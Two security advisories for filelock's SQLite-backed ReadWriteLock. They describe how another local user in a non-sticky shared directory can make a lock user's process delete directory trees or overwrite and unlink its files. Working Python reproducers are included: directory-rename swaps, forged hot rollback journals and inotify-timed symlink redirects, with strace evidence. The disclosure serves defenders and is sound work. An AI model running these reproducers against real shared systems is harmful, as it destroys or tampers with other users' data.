CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L scores 6.1 (Medium).AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:L (low attack complexity): two rename calls and no race against filelock's own code. I:H (high integrity impact): the other user destroys a directory tree owned by the lock user, and the lock user's program reports no error. A:L (partial availability loss): the Python 3.11 RecursionError variant makes the lock user's first lock construction fail. C:N (no confidentiality impact): the other user learns nothing. S:U (scope unchanged): the effect stays within the lock user's own privileges.
Classification from the external review: conditional security, a cross-user rename in a non-sticky shared parent that turns private-link cleanup into recursive deletion of the lock user's tree. The scanner rated it high. The review accepts the mechanism, notes that the macOS route rests on a Linux run with /proc hidden rather than on a run on macOS, and narrows the finding to that precondition and route.
Scope and preconditions
The other party is a different local account with write permission on the directory that holds the lock database, where that directory has no sticky bit. That is a 0777 directory, or a group-writable one (in a setgid 2775 directory a group member can rename the lock user's sub-directory the same way). Renaming an entry needs write permission on the parent only, not on the entry. Anyone who can write the parent can rename a 0700 directory of the lock user.
Sticky directories (/tmp itself, any 1777 directory) stop the release variant: the rename of an entry owned by the lock user fails with EPERM. The dead-owner sweep still reaches a lock user's tree that sits inside a directory the other account owns there. That account may rename its own directory to a forged dead-owner name, and the lock user's sweep deletes everything inside it. The Python 3.11 RecursionError variant also works in a sticky directory.
Platform and route. The lock user must connect through the private hard link. That is every ReadWriteLock or AsyncReadWriteLock on macOS (since 4.1.1, #820), or a POSIX process whose /proc/self/fd/<n> (/dev/fd/<n> elsewhere) does not exist, such as a chroot or container without /proc. Linux with /proc mounted connects through the descriptor and creates no .filelock-* directory (checked: none appears, also with two holders in one process), so stock Linux is not affected at 4.2.0. The macOS statement rests on the descriptor_usable branch at line 984 and docs/how-to.rst. The reproducer runs the same Python code on Linux with /proc hidden, which takes root and is test scaffolding, not a step the other user performs. Windows does not take this route.
Target set. Only directories that sit in the shared parent itself, or that the other account can already write, are reachable. The kernel refuses to move a 0700 directory of the lock user in from another parent. A tree the other account can already write (a group-writable project tree created with umask 002) is no gain, since that account can delete it without filelock. A lock user running as root deletes a tree of any owner.
Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.
The link directory moved beside the database in 015d27c ("fix(read-write): reject WAL databases and link beside the db (#805)"), and the dead-owner sweep came with df06bbd (#815). Both were first released in 4.1.0 (verified: git tag --contains gives 4.1.0 for both; 4.0.11 and 4.0.12 made the link in TMPDIR). macOS takes the link route for every connection since 5fd0c8f (#820), first released in 4.1.1 (verified).
Mechanism
When the lock connects through its private hard link, it disposes of .filelock-* directories with shutil.rmtree on a path. Nothing ties that path to the directory filelock created. mkdtemp makes the name unpredictable and the directory 0700. The name is in the parent's listing as soon as it exists (ls -a), and renaming it needs write permission on the parent only. 0700 keeps the other user out of the directory; it does not stop a rename of the directory. There are two ways in, with the same preconditions.
On release. A connection lives for one acquisition: _open_for_acquisition opens it and release() reaches close through _release and _finish_connection. The code trusts the path from the acquire to the release, for as long as the application keeps the lock. While the lock user holds write_lock() on /tmp/shared-cache/cache.db, the directory lists .filelock-<pid>--<host digest>-<random>/ (0700, owned by the lock user, containing lock.db). The other user runs two renames: that directory to moved-aside, then victim_project (a 0700 directory of the lock user with notes.txt inside) onto the link directory's name. When the lock user leaves the with block, rmtree deletes victim_project and everything in it with the lock user's permissions, and the process exits with status 0. moved-aside/lock.db, the real link, stays behind as an extra hard link to the database. The constructor's validation connection (ReadWriteLock.__init__ opens and closes one, creating and removing a link directory) and the three error-path removals trust the path the same way, with windows a few system calls long.
In the dead-owner sweep._link_beside calls _sweep_links_of_the_dead(parent) once per process and parent directory before mkdtemp. The first connect of every process on the link route runs it, the validation connection included. It runs rmtree on every .filelock-* directory whose name parses as a dead owner's. It checks neither the directory's owner, nor its mode, nor whether it holds only lock.db. _owner_is_gone splits the name after .filelock- into pid, start, digest (a hash of the host name) and a suffix. It returns digest == _host_digest(host) and owner_is_stale(pid, host, start or None).
The other user can forge every field. Take .filelock-2147483647--<digest>-x. pid is the largest value the #821 range check accepts and above the PID limit of Linux and macOS, so process_alive gets ESRCH from os.kill(pid, 0); the PID of any exited process, such as a child the other user just reaped, passes as well. start is empty, which the parser accepts because _link_prefix writes an empty field when it has no start token; with no token and a dead PID owner_is_stale returns True. digest is sha256(host_name())[:16]. host_name() adds a PID-namespace tag only when /proc/self/ns/pid is readable, which it is not on macOS or without /proc, so any local user can compute the digest, and it is in the name of every link directory the lock user creates. The parser does not look at the suffix.
One rename("victim_project", ".filelock-2147483647--<digest>-x") at any time, with no lock held, gets the tree deleted the next time any lock user process on the link route constructs a lock in that directory (a cron job, a CI step, a service restart). #821 made the parser reject non-ASCII digits and out-of-range PIDs; a well-formed name for a PID that is not running still selects the directory for removal.
The sweep's rmtree has a smaller effect that needs no lock user tree and works in a sticky directory, on Python 3.11, where shutil.rmtree recurses once per directory level. The other user creates a directory of their own under a forged dead-owner name in a 1777 directory, with 1500 nested subdirectories inside. The first ReadWriteLock(...) a lock user process on the link route constructs there raises RecursionError, which the suppress(OSError) at line 1050 does not catch. A second attempt in the same process skips the sweep and succeeds. Python 3.14 walks the same tree without an error.
Reproduction
The scanner's reproducer for ANT-2026-LSSZIUEO, quoted as received. It ran against commit b831496b0273.
repro
#!/usr/bin/env python3importosimportshutilimportsubprocessimportsysshared="/tmp/shared-cache"project=f"{shared}/victim_project"##### ReadWriteLock takes the hard-link route (.filelock-* directory beside the database) on macOS, and elsewhere when##### /proc/self/fd/<n> is unusable. An empty /proc in a private mount namespace puts unmodified filelock on that route.os.unshare(os.CLONE_NEWNS)subprocess.run(["mount","--make-rprivate","/"],check=True)subprocess.run(["mount","-t","tmpfs","tmpfs","/proc"],check=True)##### set up: a shared directory without the sticky bit, holding the victim's private treeshutil.rmtree(shared,ignore_errors=True)os.mkdir(shared)os.chmod(shared,0o777)os.mkdir(project,0o700)withopen(f"{project}/notes.txt","w")asnotes_file:notes_file.write("victim data\n")shutil.chown(f"{project}/notes.txt","victim","victim")shutil.chown(project,"victim","victim")rm=subprocess.run(["runuser","-u","attacker","--","rm","-rf",project],capture_output=True,text=True)print("attacker runs rm -rf on the victim's tree:",rm.stderr.strip())assertos.path.exists(f"{project}/notes.txt"),"setup: the attacker could delete the tree without filelock"##### the victim takes the write lock and stays in its critical sectionvictim=subprocess.Popen(["runuser","-u","victim","--",sys.executable,"/tmp/repro.d/victim_hold_write_lock.py"],stdin=subprocess.PIPE,stdout=subprocess.PIPE,text=True,)assertvictim.stdout.readline()=="holding the write lock\n","setup: the victim did not take the lock"print("while the victim holds the lock:",sorted(os.listdir(shared)))##### attacksubprocess.run(["runuser","-u","attacker","--",sys.executable,"/tmp/repro.d/attacker_swap_link_dir.py"],check=True)link_dir=next(namefornameinos.listdir(shared)ifname.startswith(".filelock-"))notes=f"{shared}/{link_dir}/notes.txt"print("after the attacker's renames:",sorted(os.listdir(shared)))print(f"{notes} exists:",os.path.exists(notes))assertos.path.exists(notes),"setup: the attacker's renames did not happen"##### the victim leaves its with blockvictim.communicate("\n",timeout=30)print("victim exit status:",victim.returncode)print("after the release:",sorted(os.listdir(shared)))print(f"{notes} exists:",os.path.exists(notes))##### check: releasing a lock must not delete the victim's filesprint("BUG"ifnotos.path.exists(notes)else"OK")
repro.d/attacker_swap_link_dir.py
importosshared="/tmp/shared-cache"##### both directories are 0700 and owned by victim; renaming them needs write permission on the parent onlylink_dir=next(namefornameinos.listdir(shared)ifname.startswith(".filelock-"))os.rename(f"{shared}/{link_dir}",f"{shared}/moved-aside")os.rename(f"{shared}/victim_project",f"{shared}/{link_dir}")
repro.d/victim_hold_write_lock.py
importsysfromfilelockimportReadWriteLocklock=ReadWriteLock("/tmp/shared-cache/cache.db")withlock.write_lock():print("holding the write lock",flush=True)sys.stdin.readline()# stands for the work the lock protects; it ends when repro sends a line
Attack sequence
sequenceDiagram
participant A as other local user
participant V as lock user's process (link route)
participant K as filesystem (parent 0777, no sticky bit)
rect rgb(255, 214, 214)
Note over A,K: filelock 4.1.0 to 4.2.0 on macOS, or POSIX without /proc
V->>K: mkdtemp(.filelock-PID--DIGEST-XXXX) mode 0700, link cache.db inside as lock.db
V->>K: BEGIN EXCLUSIVE, write lock held
A->>K: rename(.filelock-PID--DIGEST-XXXX, moved-aside)
A->>K: rename(victim_project, .filelock-PID--DIGEST-XXXX)
V->>K: release() calls shutil.rmtree(".filelock-PID--DIGEST-XXXX")
Note over V,K: victim_project and notes.txt are gone, exit status 0, moved-aside/lock.db stays
A->>K: later, with no lock held, rename(any directory, .filelock-2147483647--DIGEST-x)
V->>K: next ReadWriteLock(...) in that directory sweeps dead owners by name and rmtree's the forged one
end
Evidence
The scanner's reproducer needs no race. It enters a private mount namespace and mounts an empty tmpfs over /proc for itself and its children (the only non-default condition, standing in for macOS). It creates /tmp/shared-cache (0777, no sticky bit) with victim_project/notes.txt (0700, owned by victim), shows that rm -rf on that tree as attacker fails with Permission denied, runs the victim program (ReadWriteLock("/tmp/shared-cache/cache.db") + with lock.write_lock():) and the attacker renames, then lets the victim program release. Expected output on the scanned commit:
attacker runs rm -rf on the victim's tree: rm: cannot remove '/tmp/shared-cache/victim_project': Permission denied
while the victim holds the lock: ['.filelock-106--39c81e1bf87b1d56-os_58i3c', 'cache.db', 'victim_project']
after the attacker's renames: ['.filelock-106--39c81e1bf87b1d56-os_58i3c', 'cache.db', 'moved-aside']
/tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os_58i3c/notes.txt exists: True
victim exit status: 0
after the release: ['cache.db', 'moved-aside']
/tmp/shared-cache/.filelock-106--39c81e1bf87b1d56-os_58i3c/notes.txt exists: False
BUG
The scanner showed the sweep variant by hand with the same setup and no lock held. As attacker, one rename of victim_project to .filelock-2147483647--<digest>-x with <digest> = hashlib.sha256(socket.gethostname().encode()).hexdigest()[:16], then ReadWriteLock("/tmp/shared-cache/cache.db") as victim with /proc hidden. notes.txt is gone after the constructor returns and the directory contains only cache.db.
Our verification: BUG on b831496 and on the 4.2.0 image (e2e7d70). On the PR #834 head: OK; the listing after the release is ['.filelock-12--4fd1986a778d5977-amfxfd9k', 'cache.db', 'moved-aside'], notes.txt exists: True, and the victim program exits 0. Neither the scanner nor the review executed on macOS; the macOS claim rests on the descriptor_usable branch and the identical code after it.
Impact
The other user chooses any directory that sits in the shared parent, and the lock user's process deletes it and everything in it with the lock user's permissions and no error; the lock user's program reports success. Without filelock that user can rename such a directory but cannot remove a non-empty one whose contents they have no permission on. With filelock the lock user's process destroys the contents. The release variant needs two rename calls at any point while the lock user holds the lock and wins no race against filelock's own code. The sweep variant needs one rename and no held lock, and fires on the next lock construction by any lock user process in that directory. The real link directory stays under its new name with an extra hard link to the database.
It is not reachable on stock Linux with /proc mounted at 4.2.0. The release variant is not reachable in a sticky directory. This is the same position as in GHSA-j8f7-rjxc-mr56 (a user who can change names in a shared lock directory). Here the name is the derived .filelock-* directory rather than the database, and the redirected operation is a recursive delete.
Workarounds
On macOS, and on any POSIX system where /proc/self/fd is unavailable, keep the ReadWriteLock database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one ReadWriteLock database between accounts through a 0777 or group-writable directory.
Do not keep other directories of value beside a lock database in a directory other accounts can write; the deletion targets are siblings of the database.
On Linux with /proc mounted, 4.2.0 does not take the link route and needs no workaround for this finding.
filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or unlink its own files
ReadWriteLock and AsyncReadWriteLock (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to /proc/self/fd/<n>, a Linux path that names the process's own open file n. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on -journal, -wal and -shm files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.
Another local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a 0777 or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary read_lock() or write_lock() write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as /tmp a planted -wal file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the /proc/self/fd redirect since 4.0.9, the side-file variants since 3.20.4).
Anthropic's OSS Scanner reported this in private as ANT-2026-KMJ2575J [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.
Severity
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H scores 7.1 (High).AV:L (local): the other user needs an account on the same host. PR:L (low privileges): an ordinary account is enough. UI:N (no user interaction). AC:L (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. I:H (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. A:H (high availability impact): the other user makes every acquire fail or kills the lock holder. C:N (no confidentiality impact): the other user learns nothing. S:U (scope unchanged): the effect stays within the lock user's own privileges.
Classification from the external review: conditional security, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.
Scope and preconditions
The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a 0777 directory or a group-writable one (including a setgid 2775 project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is 0666. filelock itself creates the database 0600.
Sticky directories (/tmp, /var/tmp, any 1777 directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with fs.protected_regular=2). What remains is a planted non-empty <db>-wal (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise sqlite3.OperationalError: disk I/O error. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if fs.protected_hardlinks=0.
Two kernel settings matter. fs.protected_regular (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in /tmp, and SQLite follows a planted symlink itself (not tested). fs.protected_hardlinks=1 (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory.
Platform and route. The /proc/self/fd redirect is Linux with /proc mounted, 4.0.9 and later. The side-file variants (-journal, -wal, -shm) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without /proc) they need the link-directory swap described under "Mechanism", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path.
Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.
The /proc/self/fd redirect came with 4d45e83 ("Merge commit from fork", the fix for GHSA-j8f7-rjxc-mr56), first released in 4.0.9 (verified: git tag --contains 4d45e83 gives 4.0.9); 4.0.8 does not have it. The side-file variants are older. They reproduce on cfd4446 ("feat(lock): add SQLite-based ReadWriteLock (#399)"), first released in 3.20.4 (verified), which passed the lock path straight to sqlite3.connect.
Mechanism
On Linux the lock opens the database with O_RDWR|O_CREAT|O_NOFOLLOW|O_NONBLOCK. It checks through the descriptor that the file is a regular file and not a WAL database. It then calls sqlite3.connect("/proc/self/fd/<n>") and expects SQLite to reopen the validated inode. SQLite does not open that name. It runs readlink() on it, which yields the path string the kernel reports for the descriptor at that moment, and opens that string by path, following every symlink. Without interference the trace shows readlink("/proc/534/fd/3") = "/tmp/benign/app.lock.db" and then a second openat of that path. The descriptor contributes only a string. Once the directory entry behind the descriptor is gone, the string is <database> (deleted). A symlink with that exact name sends SQLite wherever its creator chose.
The other user prepares the directory before the lock user runs. They create a database cache.lock.db (0666, so the lock user's lock accepts it) with a second hard link cache.lock.db.keep, and the symlink cache.lock.db (deleted) -> /tmp/victim-notes.txt. The lock user's os.open raises an inotify IN_OPEN event. The other user unlinks cache.lock.db and links cache.lock.db.keep back under the same name. The lock user's descriptor still refers to the unlinked entry, so /proc/self/fd/3 now reads /tmp/shared-cache/cache.lock.db (deleted). sqlite3.connect resolves it, follows the symlink and opens the target O_RDWR|O_CREAT. None of filelock's checks look at that file. _open_lock_database and _raise_if_wal inspect descriptor 3. _raise_if_database_replaced compares an lstat of the lock path with the descriptor's (st_dev, st_ino), which passes because the other user linked the same inode back, and it runs only after BEGIN.
The damage comes from the first statement, PRAGMA journal_mode=MEMORY. SQLite finds <target>-journal, treats it as the rollback journal of an interrupted transaction, and copies its page records into the target before it checks whether the target is a database at all. The journal header supplies the page size and the page count SQLite resizes the file to. Whoever wrote the journal computed the per-page checksum. The content from offset 0 and the final length are therefore the other user's. Strace of the lock user's process (SQLite 3.40.1):
openat("/tmp/shared-cache/cache.lock.db", O_RDWR|O_CREAT|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC, 0600) = 3
readlink("/proc/3819/fd/3", "/tmp/shared-cache/cache.lock.db (deleted)", 4096) = 41
readlink("/tmp/shared-cache/cache.lock.db (deleted)", "/tmp/victim-notes.txt", 4096) = 21
openat("/tmp/victim-notes.txt", O_RDWR|O_CREAT|O_NOFOLLOW|O_CLOEXEC, 0644) = 4
openat("/tmp/victim-notes.txt-journal", O_RDWR|O_NOFOLLOW|O_CLOEXEC) = 5
pread64(5, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 516) = 4096
pwrite64(4, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 0) = 4096
unlink("/tmp/victim-notes.txt-journal") = -1 EPERM -> "disk I/O error"
The redirect itself needs no journal. The constructor's validation connection already makes SQLite open the target with O_CREAT. With the symlink pointing at a missing path in the lock user's home, constructing the lock created that file (empty, 0644, owned by the lock user) and raised nothing. With the symlink pointing at a 0600 WAL-mode SQLite database of the lock user, write_lock() returned without error and the database's header bytes 18 and 19 changed from 2 2 to 1 1. The pragma converted the lock user's database out of WAL mode, and the redirected acquire held its SQLite lock on that database rather than on the lock database.
Side-file names beside the database. Two comments record the belief that SQLite names its side files after the descriptor path (line 63, line 1095). The path is not synthetic to SQLite. It derives <database>-journal, <database>-wal and <database>-shm from the resolved real path in the shared directory. journal_mode=MEMORY governs only journals SQLite would write, not ones it finds. These variants need no redirect.
A hot -journal makes the lock user unlink a file the journal names; no race. The other user unlinks the lock user's empty lock.db, puts a one-page SQLite database (0666) in its place, and writes a 46-byte lock.db-journal: a path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. SQLite treats a journal beside a non-empty database as hot (left by an interrupted transaction). The tail names a "super-journal", and recovery ends by unlinking that file. The lock user's next read_lock() or write_lock() returns without error and the named file is gone (unlink("/home/victim/private/notes.txt") = 0, from a 0700 directory of the lock user). The named file must be a non-empty regular file the lock user can read and unlink. A FIFO planted as lock.db-journal instead blocks read_lock(timeout=2) in SQLite's open() of the journal (still blocked when killed after 10 s).
A re-planted -wal puts the holder in WAL mode past _raise_if_wal._raise_if_wal checks header bytes 18 and 19. Whenever a connection takes its first lock, SQLite stats <db>-wal, and if that file and the database are both non-empty it opens the WAL whatever the header says. The pragma at line 816 converts such a database and unlinks -wal and -shm. The BEGIN at line 833 is a separate statement that starts unlocked and stats <db>-wal again. Re-creating the 32-byte -wal in that gap landed on the first attempt in 20 of 20 runs on a 2-CPU machine.
The lock user's with lock.write_lock(): then holds the -shm byte-120 WAL write lock and only SHARED on the database. Once the other user removes the -wal, a second process of the lock user gets read_lock(timeout=1) granted while the writer is inside its block, with no exception on either side. SQLite also creates <db>-shm with the database's permission bits (0666) and keeps it mapped into memory. After the other user truncates it, the writer dies with SIGBUS (the signal for touching a mapped file region that no longer exists) in connection.rollback() during release().
A -wal in a sticky directory makes every acquire raise; no race, no access to the database. Beside the lock user's own empty 0600 database, a non-empty <db>-wal (one byte, any mode; a directory or FIFO works too) is a leftover SQLite tries to delete. In a 1777 directory the lock user cannot unlink another user's file (unlink(...) = -1 EPERM), so the pragma fails with SQLITE_IOERR_DELETE. The code in _do_acquire_inner translates only "database is locked" into Timeout. sqlite3.OperationalError: disk I/O error therefore leaves every acquire_read() / acquire_write() (and the async variants) within milliseconds, whatever timeout or blocking says, until the file's owner or root removes it.
Further effects observed at this commit in a non-sticky directory. A 0755 script owned by the lock user, renamed to the lock path with a one-record journal beside it, ends up holding the other user's bytes (the acquire raises file is not a database). A hard link to the lock user's 0600~/.profile at the lock path does the same in a sticky /tmp when fs.protected_hardlinks=0. When the locking process runs as root, SQLite runs fchown on a -wal or -shm it opens to match the owner of the database, so root's 0600service.env renamed to app.lock.db-wal belonged to the other user after root's read_lock().
A journal whose super-journal names the database itself makes SQLite open and close a second descriptor on the database, which drops the process's POSIX locks, so acquire_read returns with no lock held in /proc/locks and a writer in another process acquires (two journals in a row, one per statement; write locks are not affected). A one-byte lock.db-wal plus a lock.db-shm on which the other user holds two byte locks makes the acquire take 10 s regardless of timeout and raise locking protocol, or die with SIGBUS if the other user truncates the -shm.
The hard-link route in a directory without the sticky bit. None of the above occurs on the _link_beside branch (macOS, Linux without /proc). There SQLite's main file is .filelock-…/lock.db in the connecting user's 0700 directory. That protection holds only where no other user can rename the .filelock-* entry itself, because 0700 protects the contents, not the entry in the parent. _link_beside checks the link once and returns a pathname, and every later use is by that name.
With /proc hidden in a 0777 directory, the other user staged a directory holding a hard link lock.db to a one-page database and a hot lock.db-journal. They held BEGIN EXCLUSIVE on the database so the lock user's first statement waited in the busy handler (SQLite's retry loop for a locked database), renamed the lock user's .filelock-* directory aside, renamed the staged directory onto its name and rolled back. SQLite got SHARED, found the journal under the swapped name and unlinked the file it named. The lock user's process reported the lock held and exited 0. A polling variant without the write lock also won (in 40 trials the file was gone after 1 to 26 starts of the lock user's program). Under the sticky bit the rename fails with EPERM.
Reproduction
The scanner's reproducer for ANT-2026-KMJ2575J, quoted as received. It ran against commit b831496b0273.
repro
#!/usr/bin/env python3importosimportshutilimportsubprocessimportsysas_victim={"user":"victim","group":"victim","extra_groups":[]}as_attacker={"user":"attacker","group":"attacker","extra_groups":[]}##### set up: the lock database lives in a shared cache directory, 0777 and not stickyshared_dir="/tmp/shared-cache"lock_db=shared_dir+"/cache.lock.db"shutil.rmtree(shared_dir,ignore_errors=True)os.mkdir(shared_dir)os.chmod(shared_dir,0o777)##### set up: a private 0600 file of the victim's in sticky /tmp, which the attacker cannot writetarget="/tmp/victim-notes.txt"forleftoverin(target,target+"-journal"):ifos.path.lexists(leftover):os.unlink(leftover)original=b"original victim notes\n"withopen(target,"wb")asnotes:notes.write(original)shutil.chown(target,"victim","victim")os.chmod(target,0o600)direct_write=subprocess.run([sys.executable,"-c","import sys; open(sys.argv[1], 'r+b')",target],capture_output=True,text=True,**as_attacker)print("attacker opening the target for writing:",direct_write.stderr.strip().splitlines()[-1])assertdirect_write.returncode!=0##### attack: a hot journal beside the target, and a redirect of the victim's SQLite from the lock database to the targetcontent="ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\n"subprocess.run([sys.executable,"/tmp/repro.d/plant_hot_journal.py",target,content],check=True,**as_attacker)redirect=subprocess.Popen([sys.executable,"/tmp/repro.d/redirect_lock_db.py",lock_db,target],stdout=subprocess.PIPE,text=True,**as_attacker)assertredirect.stdout.readline()=="ready\n"##### the victim takes its read lock; the attacker races each acquire, so the victim runs up to 20 timesforruninrange(1,21):victim=subprocess.run([sys.executable,"/tmp/repro.d/victim_app.py",lock_db],capture_output=True,text=True,timeout=60,**as_victim)withopen(target,"rb")asnotes:after=notes.read()ifafter!=original:breakredirect.kill()redirect.wait()##### check: taking a lock on cache.lock.db must leave the victim's notes aloneprint(f"victim run {run}: exit status {victim.returncode}:",(victim.stderr.strip()or"no error").splitlines()[-1])status=os.stat(target)print("target owner, mode, size:",status.st_uid,oct(status.st_mode&0o7777),status.st_size)print("target before:",original)print("target after: ",after[:60])print("BUG"ifafter==content.encode().ljust(4096,b"\0")else"OK")
repro.d/plant_hot_journal.py
#!/usr/bin/env python3"""The attacker: leave a rollback journal beside TARGET whose one record restores TARGET's first page to CONTENT."""importosimportstructimportsystarget,content=sys.argv[1],sys.argv[2].encode()journal_path=target+"-journal"##### https://www.sqlite.org/fileformat2.html#the_rollback_journalJOURNAL_MAGIC=bytes.fromhex("d9d505f920a163d7")page_size,sector_size,nonce=4096,512,0x11223344record_count=1pages_after_rollback=1# SQLite truncates TARGET to this many pagesheader=JOURNAL_MAGIC+struct.pack(">IIIII",record_count,nonce,pages_after_rollback,sector_size,page_size)page_number=1# page 1 starts at offset 0page_image=content.ljust(page_size,b"\0")##### SQLite's pager_cksum(): the nonce plus every 200th byte, counting down from page_size - 200checksum=(nonce+sum(page_image[i]foriinrange(page_size-200,0,-200)))&0xFFFFFFFFrecord=struct.pack(">I",page_number)+page_image+struct.pack(">I",checksum)withopen(journal_path,"wb")asjournal:journal.write(header.ljust(sector_size,b"\0")+record)os.chmod(journal_path,0o666)# the victim's SQLite opens a hot journal O_RDWR
repro.d/redirect_lock_db.py
#!/usr/bin/env python3"""The attacker: make the victim's SQLite, connecting through /proc/self/fd/<n>, open TARGET instead of LOCK_DB."""importctypesimportosimportsyslock_db,target=sys.argv[1],sys.argv[2]spare_name=lock_db+".keep"##### the attacker creates the lock database, world-writable so that the victim's ReadWriteLock accepts itos.close(os.open(lock_db,os.O_CREAT|os.O_WRONLY))os.chmod(lock_db,0o666)os.link(lock_db,spare_name)##### what /proc/<pid>/fd/<n> reads back as once the name the descriptor was opened through is unlinkedos.symlink(target,lock_db+" (deleted)")IN_OPEN=0x20libc=ctypes.CDLL(None,use_errno=True)inotify=libc.inotify_init1(0)iflibc.inotify_add_watch(inotify,lock_db.encode(),IN_OPEN)<0:raiseOSError(ctypes.get_errno(),"inotify_add_watch",lock_db)print("ready",flush=True)whileTrue:os.read(inotify,4096)# the victim's ReadWriteLock has opened the database and is validating its descriptoros.unlink(lock_db)os.link(spare_name,lock_db)# the same inode back at the path, so filelock's later lstat sees no change
repro.d/victim_app.py
#!/usr/bin/env python3"""The victim: an application that takes its shared read lock once, as in docs/how-to.rst."""importsysfromfilelockimportReadWriteLockrw=ReadWriteLock(sys.argv[1])withrw.read_lock(timeout=5):pass
Attack sequence
The redirect, with A the other local user:
sequenceDiagram
participant A as other local user
participant V as lock user's process (filelock)
participant S as SQLite inside that process
participant K as kernel and filesystem
rect rgb(255, 214, 214)
Note over A,K: filelock 4.0.9 to 4.2.0 on Linux, lock directory 0777 without the sticky bit
A->>K: create cache.lock.db (0666) and a second hard link cache.lock.db.keep
A->>K: symlink "cache.lock.db (deleted)" pointing at /tmp/victim-notes.txt
A->>K: write /tmp/victim-notes.txt-journal (hot rollback journal, one page record)
V->>K: open(cache.lock.db, O_RDWR O_CREAT O_NOFOLLOW) gives fd 3, fstat says regular, header not WAL
K-->>A: inotify IN_OPEN on cache.lock.db
A->>K: unlink(cache.lock.db) then link(cache.lock.db.keep, cache.lock.db)
V->>S: sqlite3.connect("/proc/self/fd/3")
S->>K: readlink(/proc/self/fd/3) returns "cache.lock.db (deleted)"
S->>K: open("cache.lock.db (deleted)") follows the symlink to victim-notes.txt
V->>S: PRAGMA journal_mode=MEMORY
S->>K: open(victim-notes.txt-journal), pread page 1, pwrite it at offset 0 of victim-notes.txt
Note over V,K: victim-notes.txt (0600, 22 bytes) is now the other user's 4096-byte page image, the lock user sees "disk I/O error"
V->>K: lstat(cache.lock.db) matches fd 3 identity, so _raise_if_database_replaced passes
end
The side-file variants, which need no redirect:
flowchart TD
B0["acquire validates fd, connects SQLite by a name in the shared directory"] --> B1{"what did the other user put beside the real path?"}
B1 -- "hot -journal beside a swapped-in one-page database" --> B2["PRAGMA replays the journal, then unlinks the super-journal file it names, acquire succeeds"]
B1 -- "-wal re-created between PRAGMA and BEGIN" --> B3["holder in WAL mode, reader admitted beside the writer, SIGBUS when -shm is truncated"]
B1 -- "-wal in a sticky directory the lock user cannot unlink" --> B4["every acquire raises OperationalError disk I/O error, timeout ignored"]
B1 -- "name unlinked and a (deleted) symlink planted" --> B5["SQLite opens the symlink target with O_CREAT"]
classDef ok fill:#d8f3dc,stroke:#​2d6a4f,color:#​1b4332;
classDef bad fill:#ffd6d6,stroke:#c1121f,color:#​5c0000;
classDef info fill:#cfe4ff,stroke:#​1f6feb,color:#​0b1f3a;
class B0,B1 info;
class B2,B3,B4,B5 bad;
Evidence
The scanner's reproducer runs the documented ReadWriteLock(path) + with rw.read_lock(timeout=5): as user victim against /tmp/shared-cache/cache.lock.db (directory 0777, not sticky) while user attacker holds the symlink and reacts to inotify. It first shows that attacker cannot write the target (PermissionError: [Errno 13] Permission denied: '/tmp/victim-notes.txt'). On the first victim run it prints victim run 1: exit status 1: sqlite3.OperationalError: disk I/O error, target owner, mode, size: 1000 0o600 4096, target before b'original victim notes\n', after b"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\n\x00...", verdict BUG. Reacting to inotify redirected the first acquire in 77 of 77 runs. A plain unlink/link busy loop with no inotify also won on the first run. A process holding two ReadWriteLock instances on one database keeps an idle descriptor; a swap done a full second before the second acquire redirected it. The -wal re-plant landed on the first attempt in 20 of 20 runs. The journal-unlink variant needs no race.
